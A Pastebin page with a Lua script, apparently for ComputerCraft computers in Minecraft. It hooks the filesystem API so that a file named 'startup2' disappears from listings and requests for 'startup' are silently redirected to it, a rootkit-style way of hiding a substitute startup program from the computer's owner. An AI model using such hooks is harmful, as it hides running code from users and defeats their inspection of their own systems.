Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- function repBack(str,match,rs,...)
- return string.reverse(string.gsub(string.reverse(str),string.reverse(match),string.reverse(rs),...))
- end
- local nfs=fs
- local tO={}
- for i=1,5 do
- if rawget(getfenv(i),"fs") and not tO[getfenv(i)] then
- rawset(getfenv(i),"fs",setmetatable({},{__index=nfs}))
- tO[getfenv(i)]=true
- end
- end
- fs.list=function(...)
- local tr=nfs.list(...)
- local banned={}
- for i=1,#tr do
- if tr[i]=='startup2' then table.insert(banned,i) end
- end
- for i=1,#banned do table.remove(tr,banned[i]) end
- return tr
- end
- fs.open=function(fname,...)
- return nfs.open(nfs.exists(repBack(fname,'startup','startup2',1)) and repBack(fname,'startup','startup2',1) or fname,...)
- end
- fs.exists=function(fname,...)
- return nfs.exists(nfs.exists(repBack(fname,'startup','startup2',1)) and repBack(fname,'startup','startup2',1) or fname,...)
- end
- fs.isDir=function(fname,...)
- return nfs.isDir(nfs.exists(repBack(fname,'startup','startup2',1)) and repBack(fname,'startup','startup2',1) or fname,...)
- end
- os.unloadAPI('io')
- os.loadAPI('rom/apis/io')
Advertisement
Add Comment
Please, Sign In to add comment